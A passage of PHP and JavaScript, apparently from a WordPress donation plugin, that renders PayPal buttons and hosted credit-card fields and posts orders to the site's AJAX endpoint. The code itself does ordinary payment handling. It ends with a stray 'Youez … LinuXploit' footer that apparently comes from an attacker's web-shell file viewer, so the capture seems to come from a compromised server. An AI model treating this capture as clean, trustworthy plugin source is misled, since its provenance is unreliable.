	if ( !empty( $connection_data['advanced_cards'] ) ) {
		$sdk_attr['components'] .= ',hosted-fields';
	}

	if ( $connection_data['locale'] !== 'default' ) {
		$sdk_attr['locale'] = $connection_data['locale'];
	}

	$wpedon_paypal_funding = json_encode( $connection_data['enable-funding'] );

	$enable_funding = array_filter( $connection_data['enable-funding'], function($i) { return $i !== 'paypal'; } );
	if ( !empty( $enable_funding ) ) {
		$sdk_attr['enable-funding'] = implode( ',', $enable_funding );
	}

	$sdk_url = add_query_arg( $sdk_attr, 'https://www.paypal.com/sdk/js' );

	ob_start();

	if ( !defined( 'WPEDON_PPCP_JS_SDK_LOADED' ) ) {
		?>
		<script
			src='<?php echo $sdk_url; ?>'
			data-partner-attribution-id='<?php echo $connection_data['bn_code']; ?>'
			<?php if ( !empty( $connection_data['advanced_cards'] ) ) { echo 'data-client-token="' . $connection_data['client_token'] . '"'; } ?>
		></script>
		<style>
        .wpedon-paypal-button-container > *,
        .wpedon-paypal-hosted-fields-container .wpedon-paypal-btn,
        .wpedon-form .wpedon-or {
            width: <?php echo $connection_data['width']; ?>px;
            min-width: <?php echo $connection_data['width']; ?>px;
            max-width: <?php echo $connection_data['width']; ?>px;
        }
        .wpedon-paypal-hosted-fields-container .wpedon-paypal-btn {
            height: <?php echo $connection_data['height']; ?>px;
        }
		</style>
		<script>
      const wpedonPaypalFunding = <?php echo $wpedon_paypal_funding; ?>;
		</script>
		<?php
		define( 'WPEDON_PPCP_JS_SDK_LOADED', 1 );
	}
	?>

	<!-- Buttons container -->
	<div id='wpedon-paypal-button-container-<?php echo $rand_string; ?>' class='wpedon-paypal-button-container wpedon-<?php echo $connection_data['layout']; ?>'></div>

	<?php if ( !empty( $connection_data['advanced_cards'] ) ) { ?>
		<!-- Advanced credit and debit card payments form -->
		<div class="wpedon-or"><span><?php esc_html_e('or', 'easy-paypal-donation'); ?></span></div>
		<div id='wpedon-paypal-hosted-fields-container-<?php echo $rand_string; ?>' class='wpedon-paypal-button-container wpedon-paypal-hosted-fields-container wpedon-<?php echo $connection_data['layout']; ?>'>
			<div id="wpedon-card-form-<?php echo $rand_string; ?>" class="wpedon-card-form">
				<div class="card-field-wrapper">
					<div id="number-<?php echo $rand_string; ?>" class="card_field"></div>
				</div>
				<div class="card-field-wrapper">
					<div id="expirationDate-<?php echo $rand_string; ?>" class="card_field"></div>
				</div>
				<div class="card-field-wrapper">
					<div id="cvv-<?php echo $rand_string; ?>" class="card_field"></div>
				</div>
				<div class="card-field-wrapper">
					<input type="text" id="card-holder-first-name-<?php echo $rand_string; ?>" name="card-holder-first-name-<?php echo $rand_string; ?>" autocomplete="off" placeholder="<?php echo esc_js(__('First name', 'easy-paypal-donation')); ?>" class="card_field" />
				</div>
				<div class="card-field-wrapper">
					<input type="text" id="card-holder-last-name-<?php echo $rand_string; ?>" name="card-holder-last-name-<?php echo $rand_string; ?>" autocomplete="off" placeholder="<?php echo esc_js(__('Last name', 'easy-paypal-donation')); ?>" class="card_field" />
				</div>
				<div class="card-field-wrapper">
					<div id="postalCode-<?php echo $rand_string; ?>" class="card_field"></div>
				</div>
				<div>
					<button class="wpedon-paypal-btn color-<?php echo $connection_data['color']; ?>"><?php echo $connection_data['acdc_button_text']; ?></button>
				</div>
			</div>
		</div>
	<?php } ?>
	<div id='wpedon-paypal-message-<?php echo $rand_string; ?>' class='wpedon-payment-message'></div>




	<script>
    const message_<?php echo $rand_string; ?> = document.getElementById('wpedon-paypal-message-<?php echo $rand_string; ?>');
    if ( typeof paypal === 'undefined' ) {
      message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-error">' + 
          '<?php echo esc_js(__('An error occurred while connecting PayPal SDK. Check the plugin settings.', 'easy-paypal-donation')); ?>' + '</span>';
      throw '<?php echo esc_js(__('An error occurred while connecting PayPal SDK. Check the plugin settings.', 'easy-paypal-donation')); ?>';
    }

    paypal.getFundingSources().forEach(function (fundingSource) {
      if ( wpedonPaypalFunding.indexOf(fundingSource) > -1 ) {
        const style = {
          shape: '<?php echo $connection_data['shape']; ?>',
          label: 'donate',
          height: <?php echo $connection_data['height']; ?>
        };

        if ( fundingSource !== 'card' ) {
          let color = '<?php echo $connection_data['color']; ?>';
          if (fundingSource === 'venmo' && color === 'gold') {
            color = 'blue';
          } else if (['ideal', 'bancontact', 'giropay', 'eps', 'sofort', 'mybank', 'p24'].indexOf(fundingSource) > -1 && ['gold', 'blue'].indexOf(color) > -1) {
            color = 'default';
          } else if (fundingSource === 'credit' && ['darkblue', 'black', 'white'].indexOf(color) === -1) {
              color = 'darkblue';
          }
          style.color = color;
        }

        const button = paypal.Buttons({
          fundingSource: fundingSource,
          style: style,
          createOrder: function() {
            message_<?php echo $rand_string; ?>.innerHTML = '';

            const form = document.getElementById('<?php echo $rand_string; ?>');
            const formData = new FormData(form);
            formData.append('action', 'wpedon-ppcp-order-create');
            formData.append('nonce', wpedon.nonce);

            return fetch(wpedon.ajaxUrl, {
              method: 'post',
              body: formData
            }).then(function(response) {
              return response.json();
            }).then(function(data) {
              let orderID = false;
              if (data.success && data.data.order_id) {
                orderID = data.data.order_id;
              } else {
                throw data.data && data.data.message ? data.data.message : '<?php echo esc_js(__('An unknown error occurred while creating the order. Please reload the page and try again.', 'easy-paypal-donation')); ?>';
              }
              return orderID;
            });
          },
          onApprove: function(data) {
            const formData = new FormData();

            formData.append('action', 'wpedon-ppcp-order-finalize');
            formData.append('nonce', wpedon.nonce);
            formData.append('order_id', data.orderID);

            return fetch(wpedon.ajaxUrl, {
              method: 'post',
              body: formData
            }).then(function(response) {
              return response.json();
            }).then(function(data) {
              if (data.success) {
			    var return_url = '<?= $connection_data['return']; ?>';
                if (return_url.length && fundingSource !== 'card') {
                  window.location.href = return_url;
                } else {
                  message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-success">' + 
                    '<?php echo esc_js(__('The payment was successful', 'easy-paypal-donation')); ?>' + '</span>';
                }
              } else {
                throw data.data.message;
              }
            });
          },
          onCancel: function() {
            if (wpedon.cancel.length && fundingSource !== 'card') {
              window.location.href = wpedon.cancel;
            } else {
              message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-error">' + 
                '<?php echo esc_js(__('The payment was cancelled.', 'easy-paypal-donation')); ?>' + '</span>';
            }
          },
          onError: function (error) {
            message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-error">' + (error ? error : '<?php echo wpedon_free_ppcp_js_sdk_error_message(); ?>') + '</span>';
          }
        });

        if (button.isEligible()) {
          button.render('#wpedon-paypal-button-container-<?php echo $rand_string; ?>');
        }
      }
    });

		<?php if ( !empty( $connection_data['advanced_cards'] ) ) { ?>
    if ( paypal.HostedFields.isEligible() ) {
      const cardForm_<?php echo $rand_string; ?> = document.querySelector("#wpedon-card-form-<?php echo $rand_string; ?>"),
        firstName_<?php echo $rand_string; ?> = document.getElementById('card-holder-first-name-<?php echo $rand_string; ?>'),
        lastName_<?php echo $rand_string; ?> = document.getElementById('card-holder-last-name-<?php echo $rand_string; ?>');

      firstName_<?php echo $rand_string; ?>.addEventListener('input', (e) => {
        if (e.target.value.length === 0) {
          e.target.classList.add('invalid');
        } else {
          e.target.classList.remove('invalid');
        }
      });

      lastName_<?php echo $rand_string; ?>.addEventListener('input', (e) => {
        if (e.target.value.length === 0) {
          e.target.classList.add('invalid');
        } else {
          e.target.classList.remove('invalid');
        }
      });

      let orderId_<?php echo $rand_string; ?>;
      paypal.HostedFields.render({
        styles: {
          '.invalid': {
            'color': 'red'
          }
        },
        fields: {
          number: {
            selector: "#number-<?php echo $rand_string; ?>",
            placeholder: "<?php echo esc_js(__('Card Number', 'easy-paypal-donation')); ?>"
          },
          expirationDate: {
            selector: "#expirationDate-<?php echo $rand_string; ?>",
            placeholder: "<?php echo esc_js(__('Expiration', 'easy-paypal-donation')); ?>"
          },
          cvv: {
            selector: "#cvv-<?php echo $rand_string; ?>",
            placeholder: "<?php _e('CVV', 'easy-paypal-donation'); ?>"
          },
          postalCode: {
            selector: "#postalCode-<?php echo $rand_string; ?>",
            placeholder: "<?php _e('Billing zip code / Postal code', 'easy-paypal-donation'); ?>"
          }
        },
        createOrder: function() {
          if ( cardForm_<?php echo $rand_string; ?>.classList.contains('processing') ) return false;
          cardForm_<?php echo $rand_string; ?>.classList.add('processing');

          message_<?php echo $rand_string; ?>.innerHTML = '';

          const form = document.getElementById('<?php echo $rand_string; ?>');
          const formData = new FormData(form);
          formData.append('action', 'wpedon-ppcp-order-create');
          formData.append('nonce', wpedon.nonce);

          return fetch(wpedon.ajaxUrl, {
            method: 'post',
            body: formData
          }).then(function(response) {
            return response.json();
          }).then(function(data) {
            if (data.success && data.data.order_id) {
              orderId_<?php echo $rand_string; ?> = data.data.order_id;
            } else {
              throw data.data && data.data.message ? data.data.message : "<?php _e('An unknown error occurred while creating the order. Please reload the page and try again.', 'easy-paypal-donation'); ?>";
            }
            return orderId_<?php echo $rand_string; ?>;
          });
        }
      }).then(function(cardFields) {
        cardFields.on('validityChange', function (event) {
          const field = event.fields[event.emittedBy];
          if (field.isEmpty || !field.isValid) {
            cardFields.addClass(event.emittedBy, 'invalid');
            document.getElementById(event.emittedBy + '-<?php echo $rand_string; ?>').classList.add('invalid');
          } else {
            cardFields.removeClass(event.emittedBy, 'invalid');
            document.getElementById(event.emittedBy + '-<?php echo $rand_string; ?>').classList.remove('invalid');
          }
        });

        document.getElementById("<?php echo $rand_string; ?>").addEventListener('submit', (e) => {
          e.preventDefault();

          let formValid = true;

          const state = cardFields.getState();
          for (let k in state.fields) {
            if (!state.fields[k].isValid) {
              formValid = false;
              cardFields.addClass(k, 'invalid');
              document.getElementById(k + '-<?php echo $rand_string; ?>').classList.add('invalid');
            } else {
              cardFields.removeClass(k, 'invalid');
              document.getElementById(k + '-<?php echo $rand_string; ?>').classList.remove('invalid');
            }
          }

          if (firstName_<?php echo $rand_string; ?>.value.length === 0) {
            formValid = false;
            firstName_<?php echo $rand_string; ?>.classList.add('invalid');
          } else {
            firstName_<?php echo $rand_string; ?>.classList.remove('invalid');
          }

          if (lastName_<?php echo $rand_string; ?>.value.length === 0) {
            formValid = false;
            lastName_<?php echo $rand_string; ?>.classList.add('invalid');
          } else {
            lastName_<?php echo $rand_string; ?>.classList.remove('invalid');
          }

          if (!formValid) {
            message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-error">' + 
              '<?php echo esc_js(__('Please correct the errors in the fields above.', 'easy-paypal-donation')); ?>' + '</span>';
            return false;
          }

          cardFields.submit({
            cardholderName: firstName_<?php echo $rand_string; ?>.value + ' ' + lastName_<?php echo $rand_string; ?>.value
          }).then(function () {
            const formData = new FormData();

            formData.append('action', 'wpedon-ppcp-order-finalize');
            formData.append('nonce', wpedon.nonce);
            formData.append('order_id', orderId_<?php echo $rand_string; ?>);
            formData.append('acdc', true);

            return fetch(wpedon.ajaxUrl, {
              method: 'post',
              body: formData
            }).then(function(res) {
              return res.json();
            }).then(function (data) {
              if (data.success) {
			    var return_url = '<?= $connection_data['return']; ?>';
                if (return_url.length) {
                  window.location.href = return_url;
                } else {
                  message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-success">' + 
                    '<?php echo esc_js(__('The payment was successful', 'easy-paypal-donation')); ?>' + '</span>';
                }
              } else {
                throw {message: data.data.message};
              }
              cardForm_<?php echo $rand_string; ?>.classList.remove('processing');
            })
          }).catch(function (error) {
            console.error(error);
            let message = '';
            if (error && error.details) {
              let errors = {};
              for (let k in error.details) {
                let fieldName = '';
                let messageItem = new Array();
                if (error.details[k].field) {
                  if (error.details[k].field.indexOf('payment_source/card/number') > -1) {
                    cardFields.addClass('number', 'invalid');
                    document.getElementById('number-<?php echo $rand_string; ?>').classList.add('invalid');
                  } else if (error.details[k].field.indexOf('payment_source/card/security_code') > -1) {
                    cardFields.addClass('cvv', 'invalid');
                    document.getElementById('cvv-<?php echo $rand_string; ?>').classList.add('invalid');
                  } else if (error.details[k].field.indexOf('payment_source/card/expiry') > -1) {
                    cardFields.addClass('expirationDate', 'invalid');
                    document.getElementById('expirationDate-<?php echo $rand_string; ?>').classList.add('invalid');
                  }

                  fieldName = error.details[k].field
                    .replace('/payment_source/card/expiry', 'Expiration')
                    .replace('/payment_source/card/security_code', 'CVV')
                    .replace('payment_source/card/security_code', 'CVV')
                    .replace('/payment_source/card/number', 'Card Number');
                  messageItem.push('<strong>' + fieldName + '</strong>');
                }
                if (error.details[k].description) {
                  messageItem.push(error.details[k].description);
                }
                errors[fieldName] = messageItem.join(': ');
              }
              message = Object.values(errors).join('<br>');
            } else if ( error && error.message ) {
              message = error.message;
            } else {
              message = '<?php echo wpedon_free_ppcp_js_sdk_error_message(); ?>';
            }
            message_<?php echo $rand_string; ?>.innerHTML = '<span class="payment-error">' + message + '</span>';
            cardForm_<?php echo $rand_string; ?>.classList.remove('processing');
          });
        });
      });
    } else {
      // Hides card fields if the merchant isn't eligible
      document.querySelector("#wpedon-card-form-<?php echo $rand_string; ?>").style = 'display: none';
    }
		<?php } ?>
	</script>
	
	
	
	<?php

	return ob_get_clean();
}

function wpedon_free_ppcp_js_sdk_error_message() {
	return '<strong>' . esc_html__('Site admin', 'easy-paypal-donation') . '</strong>, ' . 
           esc_html__('an error was detected in the plugin settings.', 'easy-paypal-donation') . '</br>' . 
           esc_html__('Please check the PayPal connection and product settings (price, name, etc.)', 'easy-paypal-donation');
}

Youez - 2016 - github.com/yon3zu
LinuXploit